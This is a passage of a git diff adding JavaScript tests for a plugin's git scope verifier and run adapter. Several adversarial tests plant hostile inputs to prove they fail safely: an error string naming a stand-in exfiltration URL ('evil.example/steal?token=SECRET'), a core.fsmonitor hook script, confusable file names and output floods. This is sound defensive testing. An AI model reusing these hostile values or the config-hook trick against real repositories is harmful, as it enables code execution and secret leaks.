`att-${RUN_ID}`, + answers: [{ + assignment_id: ASSIGNMENT_ID, question_id: 'q-1', session_id: 'sess-1', + task_id: TASK_ID, response: 'ship-it', + }], + }; + const first = await adapter.dispatch('task', { + run_id: RUN_ID, + run_reply: { + batch_id: `att-${RUN_ID}`, + expected_revision: 1, + reply: replyBody, + }, + }); + assert.equal(first.operation, 'reply'); + const conflict = await errorOf(() => adapter.dispatch('task', { + run_id: RUN_ID, + run_reply: { + batch_id: `att-${RUN_ID}`, + expected_revision: 2, + reply: { ...replyBody, answers: [{ ...replyBody.answers[0], response: 'overwrite' }] }, + }, + })); + assert.equal(conflict.code, 'attention_batch_reply_conflict'); + const forged = await errorOf(() => seams.attention.reply({ + run_id: RUN_ID, + batch_id: 'forged-batch', + expected_revision: 2, + reply: replyBody, + })); + assert.equal(forged.code, 'attention_batch_identity_mismatch'); +}); + +test('durable P33/P34 seams recover identity after a fresh reopen', async () => { + const root = await makePrivateRoot('r1-rcutover-durable-'); + const lifecycle = createLifecycleFns({ final: true }); + const taskFns = { + delegateTask: async (plan) => ({ task_id: plan.task_id, status: 'dispatched', cursor: '0' }), + inspectTask: async (plan) => ({ task_id: plan.task_id, status: 'running', cursor: plan.cursor ?? '0' }), + cancelTask: async (plan) => ({ task_id: plan.task_id, status: 'cancelled', cancelled: true }), + settleLocalTaskLifecycle: lifecycle.settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: lifecycle.cleanupLocalTaskLifecycle, + clock: createClock(), + }; + try { + const first = await createDurableRunSeams({ root, ...taskFns }); + const adapter = createRunToolAdapter({ runtime: first.runtime, attention: first.attention }); + const submitted = await adapter.dispatch('delegate', makeRunArgs()); + assert.equal(submitted.operation, 'submit'); + const second = await createDurableRunSeams({ root, ...taskFns }); + const restarted = createRunToolAdapter({ + runtime: second.runtime, attention: second.attention, + }); + const inspected = await restarted.dispatch('status', { run_id: RUN_ID }); + assert.equal(inspected.run_id, RUN_ID); + assert.equal(inspected.assignment_count, 1); + assert.equal(inspected.lanes[0].assignment_id, ASSIGNMENT_ID); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('same-session reply proves exact task/session/question identity and delivers once', async () => { + const tracker = trackingSameSessionDeliver(); + const { adapter } = createSeamAdapter({ + deliverSameSessionReply: tracker.deliver, + }); + await adapter.dispatch('delegate', makeRunArgs()); + await adapter.dispatch('task', { + run_id: RUN_ID, + attention: { items: [makeAttentionItem()] }, + }); + const replyBody = makeRunReply(); + const first = await adapter.dispatch('task', { + run_id: RUN_ID, + run_reply: { + batch_id: replyBody.batch_id, + expected_revision: 1, + reply: replyBody, + }, + }); + assert.equal(first.operation, 'reply'); + assert.equal(first.attention.status, 'resolved'); + assert.equal(tracker.calls.length, 1); + assert.equal(tracker.calls[0].task_id, TASK_ID); + assert.equal(tracker.calls[0].session_id, 'sess-1'); + assert.equal(tracker.calls[0].question_id, 'q-1'); + const second = await adapter.dispatch('task', { + run_id: RUN_ID, + run_reply: { + batch_id: replyBody.batch_id, + expected_revision: 2, + reply: replyBody, + }, + }); + assert.equal(second.attention.status, 'resolved'); + assert.equal(tracker.calls.length, 1); +}); + +test('unconfirmed cancellation stays unresolved/unsafe and never projects cancelled', async () => { + const { adapter } = createSeamAdapter({ + cancelTask: async (plan) => ({ task_id: plan.task_id, status: 'running', cancelled: false }), + }); + await adapter.dispatch('delegate', makeRunArgs()); + const receipt = await adapter.dispatch('cancel', { + run_id: RUN_ID, + assignment_ids: [ASSIGNMENT_ID], + }); + assert.equal(receipt.operation, 'cancel'); + assert.equal(receipt.status, 'unresolved'); + assert.equal(receipt.lanes[0].status, 'unresolved'); + assert.equal(receipt.lanes[0].unresolved.code, 'safe_cancel_unconfirmed'); + assert.equal(receipt.complete_candidate_blocked, true); + assert.equal(receipt.cleanup.cleaned, false); + assert.equal(receipt.cleanup.proof_bound, true); +}); + +test('named profile snapshot is bound once and survives catalog mutation after submit', async () => { + const workspace = await makePrivateRoot('r1-rcutover-snapshot-'); + try { + const catalogDir = path.join(workspace, '.codex'); + await mkdir(catalogDir, { recursive: true, mode: 0o700 }); + const catalogPath = path.join(catalogDir, 'co-engineer-profiles.json'); + const name = 'writer-profile'; + await writeFile(catalogPath, JSON.stringify({ + [name]: { schema: PROFILE_SCHEMA, provider: 'grok', model: 'grok-4' }, + })); + const first = makeAssignment({ assignmentId: 'lane-a', taskId: 'task-a', writeScope: ['a/**'] }); + const second = makeAssignment({ assignmentId: 'lane-b', taskId: 'task-b', writeScope: ['b/**'] }); + delete first.provider; + delete first.model; + delete second.provider; + delete second.model; + first.profile = name; + second.profile = name; + const args = makeRunArgs({ assignments: [first, second] }); + args.run.git = { ...args.run.git, repository_path: workspace }; + const { adapter, calls } = createAdapter(); + const submitted = await adapter.dispatch('delegate', args); + assert.equal(submitted.operation, 'submit'); + assert.equal(submitted.lanes[0].provider, 'grok'); + assert.equal(submitted.lanes[0].model, 'grok-4'); + assert.equal(submitted.lanes[1].provider, 'grok'); + assert.equal(submitted.lanes[1].model, 'grok-4'); + await writeFile(catalogPath, JSON.stringify({ + [name]: { + schema: PROFILE_SCHEMA, + provider: 'dsh', + model: 'muse-spark-1.2-contributor', + }, + })); + const inspected = await adapter.dispatch('status', { run_id: RUN_ID }); + assert.equal(inspected.lanes[0].provider, 'grok'); + assert.equal(inspected.lanes[1].model, 'grok-4'); + assert.equal(calls.submit.length, 1); + assert.equal(calls.submit[0].assignments[0].provider, 'grok'); + assert.equal(calls.submit[0].assignments[1].provider, 'grok'); + } finally { + await rm(workspace, { recursive: true, force: true }); + } +}); + +test('durable restart fallback keeps unconfirmed cancel unresolved/unsafe', async () => { + const first = await createDurableAdapter(); + try { + await first.adapter.dispatch('delegate', makeRunArgs()); + const restarted = await createDurableAdapter({ + root: first.root, + cancelTask: async (plan) => ({ task_id: plan.task_id, status: 'running', cancelled: false }), + }); + const receipt = await restarted.adapter.dispatch('cancel', { + run_id: RUN_ID, + assignment_ids: [ASSIGNMENT_ID], + }); + assert.equal(receipt.status, 'unresolved'); + assert.equal(receipt.lanes[0].status, 'unresolved'); + assert.equal(receipt.lanes[0].unresolved.code, 'safe_cancel_unconfirmed'); + assert.equal(receipt.cleanup.cleaned, false); + assert.equal(receipt.complete_candidate_blocked, true); + } finally { + await rm(first.root, { recursive: true, force: true }); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-scope-verifier-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-scope-verifier-adversarial.test.mjs new file mode 100644 index 0000000..f5cecf5 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-scope-verifier-adversarial.test.mjs @@ -0,0 +1,472 @@ +import assert from 'node:assert/strict'; +import { spawn as nodeSpawn } from 'node:child_process'; +import { existsSync, writeFileSync } from 'node:fs'; +import { chmod, mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import { types as utilTypes } from 'node:util'; +import test from 'node:test'; + +import { + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, +} from '../mcp/v3/evidence-bundle.mjs'; +import { + GIT_CLOSED_ENV, + verifyGitIdentityV1, +} from '../mcp/v3/git-identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + MAX_SCOPE_OUTPUT_BYTES, + parseScopeVerifierRequestV1, + verifyScopeV1, +} from '../mcp/v3/scope-verifier.mjs'; +import { + OTHER_ASSIGNMENT_ID, + READ_ONLY_ASSIGNMENT_ID, + countingProxy, + createConfusableSeparatorRepo, + createCopyEscapingRepo, + createFileModeHiddenChmodRepo, + createGitlinkRepo, + createHiddenIndexFlagRepo, + createHistoricalMergeRepo, + createIgnoredOutOfScopeRepo, + createInScopeWriterRepo, + createMergeCommitRepo, + createMergeHeadEqualsBaseRepo, + createNonNfcRepo, + createOutOfScopeWriterRepo, + createRenameEscapingRepo, + createSymlinkRepo, + createTypeChangeRepo, + createUntrackedSymlinkRepo, + createUntrackedOutOfScopeRepo, + identityRequest, + runFixtureGit, + scopeRequest, + trapTotal, +} from './fixtures/r1-scope-verifier-fixtures.mjs'; + +function errorOf(action, expectedPath) { + return Promise.resolve() + .then(() => action()) + .then( + () => assert.fail('expected a typed RunContractV1Error'), + (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + }, + ); +} + +function discrepancyIds(result) { + return result.discrepancies.map((entry) => entry.discrepancy_id); +} + +function assertContentFree(error, ...needles) { + const blob = `${error.code}\n${error.path}\n${error.message}`; + for (const needle of needles) { + assert.equal(blob.includes(needle), false, needle); + } +} + +async function identityOf(repo, overrides = {}) { + return verifyGitIdentityV1(identityRequest(repo, overrides)); +} + +test('live proxies are denied with zero traps on the request surface', async () => { + const { proxy, counts } = countingProxy({ + identity_request: identityRequest({ + path: '/tmp/cce-r1-scope-repo', baseSha: 'a'.repeat(40), headSha: 'b'.repeat(40), + }), + identity: {}, + access: 'writer', + write_scope: ['src/**'], + other_write_scopes: [], + }); + assert.equal((await errorOf(() => parseScopeVerifierRequestV1(proxy))).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); +}); + +test('revoked proxies fail closed before Array.isArray or Reflect can throw', async () => { + const { proxy, revoke } = Proxy.revocable({ + identity_request: identityRequest({ + path: '/tmp/cce-r1-scope-repo', baseSha: 'a'.repeat(40), headSha: 'b'.repeat(40), + }), + identity: {}, + access: 'writer', + write_scope: ['src/**'], + other_write_scopes: [], + }, { + get() { throw new Error('revoked get'); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + getOwnPropertyDescriptor() { throw new Error('revoked descriptor'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(proxy), true); + const error = await errorOf(() => parseScopeVerifierRequestV1(proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.throws(() => Array.isArray(proxy), TypeError); +}); + +test('accessor properties are rejected and their getters never run', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const input = scopeRequest(repo, identity); + let reads = 0; + Object.defineProperty(input, 'access', { + enumerable: true, + get() { + reads += 1; + return 'writer'; + }, + }); + const error = await errorOf(() => parseScopeVerifierRequestV1(input)); + assert.equal(error.code, 'accessor_property_denied'); + assert.equal(reads, 0); +}); + +test('unverified or mismatched P14 identity is not treated as authority', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const failed = { + ...identity, + status: 'failed', + discrepancies: [{ + discrepancy_id: 'stale-base', + discrepancy_kind: 'integrity', + status: 'recorded', + code: 'artifact_integrity_failure', + run_id: identity.facts[0].run_id, + assignment_id: identity.facts[0].assignment_id, + sequence: 0, + claim_ids: [], + fact_ids: ['git-identity'], + artifact_digests: [], + }], + }; + assert.equal((await errorOf(() => parseScopeVerifierRequestV1( + scopeRequest(repo, failed), + ))).code, 'unverified_identity'); + + const mismatched = { + ...identity, + observation: { ...identity.observation, head_sha: 'c'.repeat(40) }, + }; + assert.equal((await errorOf(() => parseScopeVerifierRequestV1( + scopeRequest(repo, mismatched), + ))).code, 'identity_mismatch'); +}); + +test('provider claims cannot be supplied as scope authority', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const error = await errorOf(() => parseScopeVerifierRequestV1({ + ...scopeRequest(repo, identity), + claims: [{ claim_kind: 'files_changed', path_count: 1 }], + })); + assert.equal(error.code, 'unknown_key'); +}); + +test('merge commits and later commits on merged history fail closed', async (t) => { + const merge = await createMergeCommitRepo(); + t.after(() => merge.cleanup()); + const mergeIdentity = await identityOf(merge); + const mergeResult = await verifyScopeV1(scopeRequest(merge, mergeIdentity)); + assert.equal(mergeResult.status, 'failed'); + assert.equal(discrepancyIds(mergeResult).includes('merge-commit'), true); + parseEvidenceDiscrepancyV1({ ...mergeResult.discrepancies[0] }); + parseVerifiedFactV1({ ...mergeResult.facts[1] }); + + const historical = await createHistoricalMergeRepo(); + t.after(() => historical.cleanup()); + const historicalIdentity = await identityOf(historical); + const historicalResult = await verifyScopeV1(scopeRequest(historical, historicalIdentity)); + assert.equal(historicalResult.status, 'failed'); + assert.equal(discrepancyIds(historicalResult).includes('merge-commit'), true); +}); + +test('symlink, gitlink, and type-change operations fail as security discrepancies', async (t) => { + const linked = await createSymlinkRepo(); + t.after(() => linked.cleanup()); + const linkedIdentity = await identityOf(linked); + const linkedResult = await verifyScopeV1(scopeRequest(linked, linkedIdentity)); + assert.equal(linkedResult.status, 'failed'); + assert.equal(discrepancyIds(linkedResult).includes('symlink-change'), true); + + const gitlink = await createGitlinkRepo(); + t.after(() => gitlink.cleanup()); + const gitlinkIdentity = await identityOf(gitlink); + const gitlinkResult = await verifyScopeV1(scopeRequest(gitlink, gitlinkIdentity)); + assert.equal(gitlinkResult.status, 'failed'); + assert.equal(discrepancyIds(gitlinkResult).includes('submodule-change'), true); + + const typeChange = await createTypeChangeRepo(); + t.after(() => typeChange.cleanup()); + const typeIdentity = await identityOf(typeChange); + const typeResult = await verifyScopeV1(scopeRequest(typeChange, typeIdentity)); + assert.equal(typeResult.status, 'failed'); + const typeIds = discrepancyIds(typeResult); + assert.equal(typeIds.includes('type-change') || typeIds.includes('symlink-change'), true); +}); + +test('renames that escape the owned scope fail as a mismatch', async (t) => { + const repo = await createRenameEscapingRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('scope-mismatch'), true); + const blob = JSON.stringify(result); + assert.equal(blob.includes('escaped.txt'), false); +}); + +test('non-NFC and confusable separator paths fail closed without echoing bytes', async (t) => { + const nfd = await createNonNfcRepo(); + t.after(() => nfd.cleanup()); + const nfdIdentity = await identityOf(nfd); + const nfdError = await errorOf(() => verifyScopeV1(scopeRequest(nfd, nfdIdentity))); + assert.equal(nfdError.code, 'hostile_name_denied'); + assertContentFree(nfdError, nfd.extra.path, '\u0301', 'cafe'); + + const confusable = await createConfusableSeparatorRepo(); + t.after(() => confusable.cleanup()); + const confusableIdentity = await identityOf(confusable); + const confusableError = await errorOf( + () => verifyScopeV1(scopeRequest(confusable, confusableIdentity)), + ); + assert.equal(confusableError.code, 'hostile_name_denied'); + assertContentFree( + confusableError, confusable.extra.path, String.fromCodePoint(0x2215), 'look', + ); +}); + +test('untracked files outside the owned scope fail as a mismatch', async (t) => { + const repo = await createUntrackedOutOfScopeRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('scope-mismatch'), true); + assert.equal(JSON.stringify(result).includes('scratch.txt'), false); +}); + +test('pre/post observation races fail closed', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + let statusCount = 0; + const error = await errorOf(() => verifyScopeV1(scopeRequest(repo, identity), { + spawn(command, args, options) { + if (Array.isArray(args) && args.includes('status')) { + statusCount += 1; + if (statusCount === 2) { + writeFileSync(`${repo.path}/src/raced.txt`, 'race\n'); + } + } + return nodeSpawn(command, args, options); + }, + })); + assert.equal(error.code, 'observation_race'); + assertContentFree(error, 'raced.txt', 'src/raced.txt'); +}); + +test('output bounds kill hostile git writers without reflecting content', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + let calls = 0; + const error = await errorOf(() => verifyScopeV1(scopeRequest(repo, identity), { + spawn(command, args, options) { + calls += 1; + if (Array.isArray(args) && args.includes('diff-tree')) { + return nodeSpawn('/usr/bin/yes', ['x'.repeat(64)], { + cwd: '/', + env: GIT_CLOSED_ENV, + stdio: ['ignore', 'pipe', 'pipe'], + }); + } + return nodeSpawn(command, args, options); + }, + })); + assert.equal(error.code, 'bounds_exceeded'); + assert.equal(error.message.includes('x'.repeat(16)), false); + assert.ok(MAX_SCOPE_OUTPUT_BYTES > 4096); + assert.ok(calls > 0); +}); + +test('injected child stream accessors fail closed without native errors', async (t) => { + const repo = await createOutOfScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const request = scopeRequest(repo, identity); + function afterIdentity(hostileChild) { + let calls = 0; + return (command, args, options) => { + calls += 1; + if (calls < 8) return nodeSpawn(command, args, options); + if (Array.isArray(args) && args.includes('diff-tree')) return hostileChild; + return nodeSpawn(command, args, options); + }; + } + const accessorError = await errorOf(() => verifyScopeV1(request, { + spawn: afterIdentity({ + stdout: { + get on() { throw new Error('https://evil.example/steal?token=SECRET'); }, + }, + stderr: { on() { return this; } }, + kill() {}, + once() {}, + }), + })); + assert.ok( + accessorError.code === 'git_execution_failed' || accessorError.code === 'proxy_denied' + || accessorError.code === 'observation_race', + ); + assertContentFree(accessorError, 'SECRET', 'evil.example', 'steal'); +}); + +test('read-only untracked dirt is a mutation, not a silent pass', async (t) => { + const repo = await createUntrackedOutOfScopeRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo, { assignment_id: READ_ONLY_ASSIGNMENT_ID }); + const result = await verifyScopeV1(scopeRequest(repo, identity, { + assignment_id: READ_ONLY_ASSIGNMENT_ID, + access: 'read_only', + write_scope: [], + })); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('read-only-mutation'), true); +}); + +test('other_write_scopes cannot alias this assignment or carry extra keys', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const self = await errorOf(() => parseScopeVerifierRequestV1(scopeRequest(repo, identity, { + other_write_scopes: [{ + assignment_id: identity.facts[0].assignment_id, + write_scope: ['docs/**'], + }], + }))); + assert.equal(self.code, 'conflicting_id'); + const extra = await errorOf(() => parseScopeVerifierRequestV1(scopeRequest(repo, identity, { + other_write_scopes: [{ + assignment_id: OTHER_ASSIGNMENT_ID, + write_scope: ['docs/**'], + extra: true, + }], + }))); + assert.equal(extra.code, 'unknown_key'); +}); + +test('closed protocol and config env is forced on every P15 git spawn', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity), { + spawn(command, args, options) { + assert.equal(options.env, GIT_CLOSED_ENV); + assert.equal(options.env.GIT_ALLOW_PROTOCOL, ''); + assert.equal(options.env.GIT_PROTOCOL_FROM_USER, '0'); + assert.equal(options.env.GIT_CONFIG_NOSYSTEM, '1'); + assert.equal(options.env.GIT_CONFIG_GLOBAL, '/dev/null'); + assert.equal(options.env.GIT_CONFIG_SYSTEM, '/dev/null'); + assert.equal(Object.hasOwn(options.env, 'GIT_CONFIG'), false); + assert.equal(args.includes('core.fsmonitor='), true); + assert.equal(args.includes('core.useBuiltinFSMonitor=false'), true); + assert.equal(args.includes('core.fileMode=true'), true); + const fsmonitorIndex = args.indexOf('core.fsmonitor='); + assert.equal(fsmonitorIndex > 0 && args[fsmonitorIndex - 1] === '-c', true); + return nodeSpawn(command, args, options); + }, + }); + assert.equal(result.status, 'verified'); +}); + +test('ignored worktree changes are enumerated and denied outside write_scope', async (t) => { + const repo = await createIgnoredOutOfScopeRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('scope-mismatch'), true); + assert.equal(JSON.stringify(result).includes('scratch.ignored'), false); +}); + +test('assume-unchanged and skip-worktree index flags fail closed', async (t) => { + const repo = await createHiddenIndexFlagRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const error = await errorOf(() => verifyScopeV1(scopeRequest(repo, identity))); + assert.equal(error.code, 'git_execution_failed'); + assertContentFree(error, 'keep.txt', 'readme.txt', 'assume-unchanged', 'skip-worktree'); +}); + +test('chmod is observed even when local core.fileMode is false', async (t) => { + const repo = await createFileModeHiddenChmodRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo, { assignment_id: READ_ONLY_ASSIGNMENT_ID }); + const result = await verifyScopeV1(scopeRequest(repo, identity, { + assignment_id: READ_ONLY_ASSIGNMENT_ID, + access: 'read_only', + write_scope: [], + })); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('read-only-mutation'), true); + assert.equal(result.observation.dirty, true); +}); + +test('merge HEAD is rejected when base_sha equals head_sha', async (t) => { + const merge = await createMergeHeadEqualsBaseRepo(); + t.after(() => merge.cleanup()); + const identity = await identityOf(merge); + const result = await verifyScopeV1(scopeRequest(merge, identity)); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('merge-commit'), true); + assert.equal(result.observation.parent_count > 1, true); + assert.equal(result.observation.base_sha, result.observation.head_sha); +}); + +test('unchanged-source copies keep source and destination ownership', async (t) => { + const repo = await createCopyEscapingRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('scope-mismatch'), true); + assert.equal(result.observation.copy_count >= 1, true); + assert.equal(JSON.stringify(result).includes('secret.txt'), false); + assert.equal(JSON.stringify(result).includes('fromdocs.txt'), false); +}); + +test('untracked in-scope symlinks are rejected after lstat proof', async (t) => { + const repo = await createUntrackedSymlinkRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('symlink-change'), true); + assert.equal(JSON.stringify(result).includes('link-untracked.txt'), false); +}); + +test('core.fsmonitor repository config cannot execute during observation', async (t) => { + const hookDir = await mkdtemp(path.join(tmpdir(), 'p15-fsm-hook-')); + t.after(() => rm(hookDir, { recursive: true, force: true })); + const hookPath = path.join(hookDir, 'fsm.sh'); + const markerPath = path.join(hookDir, 'ran'); + await writeFile(hookPath, `#!/bin/sh\necho ran >> "${markerPath}"\nexit 0\n`); + await chmod(hookPath, 0o755); + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + await runFixtureGit(repo.path, ['config', 'core.fsmonitor', hookPath]); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'verified'); + assert.equal(existsSync(markerPath), false); +}); diff --git a/plugins/codex-co-engineer/test/r1-scope-verifier.test.mjs b/plugins/codex-co-engineer/test/r1-scope-verifier.test.mjs new file mode 100644 index 0000000..a3bb13c --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-scope-verifier.test.mjs @@ -0,0 +1,352 @@ +import assert from 'node:assert/strict'; +import { spawn as nodeSpawn } from 'node:child_process'; +import test from 'node:test'; + +import { + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, +} from '../mcp/v3/evidence-bundle.mjs'; +import { + GIT_CLOSED_ENV, + GIT_EXECUTABLE, + verifyGitIdentityV1, +} from '../mcp/v3/git-identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + parseScopeVerifierRequestV1, + SCOPE_VERIFIER_ERROR_CODES, + SCOPE_VERIFIER_SCHEMA_ID, + SCOPE_VERIFIER_VERSION, + verifyScopeV1, +} from '../mcp/v3/scope-verifier.mjs'; +import { + ASSIGNMENT_ID, + BASE_REF, + OTHER_ASSIGNMENT_ID, + OTHER_WRITE_SCOPE, + READ_ONLY_ASSIGNMENT_ID, + RUN_ID, + WRITE_SCOPE, + createCopyInScopeRepo, + createDeletionInScopeRepo, + createInScopeWriterRepo, + createOutOfScopeWriterRepo, + createOverlapRepo, + createReadOnlyUnchangedRepo, + createRenameInScopeRepo, + createStagedUntrackedMixRepo, + createUnicodeNfcRepo, + createUntrackedInScopeRepo, + identityRequest, + scopeRequest, +} from './fixtures/r1-scope-verifier-fixtures.mjs'; + +function errorOf(action, expectedPath) { + return Promise.resolve() + .then(() => action()) + .then( + () => assert.fail('expected a typed RunContractV1Error'), + (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + }, + ); +} + +function discrepancyIds(result) { + return result.discrepancies.map((entry) => entry.discrepancy_id); +} + +function gitCommandOf(args) { + for (let index = 0; index < args.length; index += 1) { + const arg = args[index]; + if (arg === '-C' || arg === '--git-dir' || arg === '-c') { + index += 1; + continue; + } + if (typeof arg === 'string' && !arg.startsWith('-')) return arg; + } + return undefined; +} + +async function identityOf(repo, overrides = {}) { + return verifyGitIdentityV1(identityRequest(repo, overrides)); +} + +test('schema identity is additive v1 and does not claim later-wave ownership', () => { + assert.equal(SCOPE_VERIFIER_SCHEMA_ID, 'codex-co-engineer.scope-verifier.v1'); + assert.equal(SCOPE_VERIFIER_VERSION, 1); + assert.equal(Object.isFrozen(SCOPE_VERIFIER_ERROR_CODES), true); + assert.equal(SCOPE_VERIFIER_SCHEMA_ID.includes('4.0.0'), false); + assert.equal(SCOPE_VERIFIER_SCHEMA_ID.includes('p16'), false); +}); + +test('a valid request parses into a frozen detached snapshot', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const input = scopeRequest(repo, identity); + const snapshot = parseScopeVerifierRequestV1(input); + assert.equal(Object.isFrozen(snapshot), true); + assert.equal(Object.isFrozen(snapshot.write_scope), true); + assert.equal(Object.isFrozen(snapshot.identity), true); + assert.equal(snapshot.access, 'writer'); + assert.deepEqual([...snapshot.write_scope], [...WRITE_SCOPE]); + input.access = 'read_only'; + input.write_scope.push('docs/**'); + assert.equal(snapshot.access, 'writer'); + assert.deepEqual([...snapshot.write_scope], [...WRITE_SCOPE]); +}); + +test('required keys, extra keys, and hidden defaults fail closed', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const base = scopeRequest(repo, identity); + assert.equal( + (await errorOf(() => parseScopeVerifierRequestV1({ ...base, extra: true }))).code, + 'unknown_key', + ); + const missing = { ...base }; + delete missing.other_write_scopes; + assert.equal( + (await errorOf( + () => parseScopeVerifierRequestV1(missing), 'scope.other_write_scopes', + )).code, + 'missing_key', + ); + assert.equal( + (await errorOf(() => parseScopeVerifierRequestV1({ + ...base, access: 'read_only', write_scope: ['src/**'], + }))).code, + 'out_of_range', + ); +}); + +test('an in-scope writer verifies independently into P13 git_diff facts', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.schema, SCOPE_VERIFIER_SCHEMA_ID); + assert.equal(result.status, 'verified'); + assert.equal(result.discrepancies.length, 0); + assert.equal(result.facts.length, 2); + assert.equal(result.observation.base_sha, repo.baseSha); + assert.equal(result.observation.head_sha, repo.headSha); + assert.equal(result.observation.access, 'writer'); + assert.equal(result.observation.parent_count, 1); + assert.equal(result.observation.path_count >= 1, true); + assert.equal(result.observation.dirty, false); + assert.equal(result.facts[0].fact_kind, 'git_diff'); + assert.equal(result.facts[0].status, 'verified'); + assert.equal(result.facts[0].authority, 'platform_git'); + assert.equal(result.facts[0].method, 'scope_match'); + assert.equal(result.facts[0].payload.path_count, result.observation.path_count); + assert.equal(result.facts[0].payload.path_set_digest, result.observation.path_set_digest); + assert.equal(result.facts[1].fact_kind, 'head_sha'); + assert.equal(result.facts[1].method, 'merge_commit_absence'); + assert.equal(result.facts[1].payload.sha, repo.headSha); + assert.deepEqual(parseVerifiedFactV1({ ...result.facts[0] }).payload, result.facts[0].payload); + parseVerifiedFactV1({ ...result.facts[1] }); + assert.equal(Object.isFrozen(result), true); + assert.equal(Object.isFrozen(result.facts), true); + assert.equal(Object.isFrozen(result.observation), true); +}); + +test('additions, deletions, in-scope renames, and copies stay owned', async (t) => { + const rename = await createRenameInScopeRepo(); + t.after(() => rename.cleanup()); + const renameIdentity = await identityOf(rename); + const renameResult = await verifyScopeV1(scopeRequest(rename, renameIdentity)); + assert.equal(renameResult.status, 'verified'); + assert.equal(renameResult.observation.rename_count >= 1, true); + + const copy = await createCopyInScopeRepo(); + t.after(() => copy.cleanup()); + const copyIdentity = await identityOf(copy); + const copyResult = await verifyScopeV1(scopeRequest(copy, copyIdentity)); + assert.equal(copyResult.status, 'verified'); + assert.equal(copyResult.observation.path_count >= 2, true); + assert.equal(copyResult.observation.copy_count >= 1, true); + + const deletion = await createDeletionInScopeRepo(); + t.after(() => deletion.cleanup()); + const deletionIdentity = await identityOf(deletion); + const deletionResult = await verifyScopeV1(scopeRequest(deletion, deletionIdentity)); + assert.equal(deletionResult.status, 'verified'); + assert.equal(deletionResult.observation.path_count >= 1, true); +}); + +test('changed paths outside the trusted write_scope fail as a discrepancy', async (t) => { + const repo = await createOutOfScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('scope-mismatch'), true); + assert.equal(result.facts[0].status, 'failed'); + parseEvidenceDiscrepancyV1({ ...result.discrepancies[0] }); +}); + +test('paths owned by another assignment fail as overlap', async (t) => { + const repo = await createOverlapRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity, { + other_write_scopes: [{ + assignment_id: OTHER_ASSIGNMENT_ID, + write_scope: [...OTHER_WRITE_SCOPE], + }], + })); + assert.equal(result.status, 'failed'); + const ids = discrepancyIds(result); + assert.equal(ids.includes('scope-overlap'), true); + 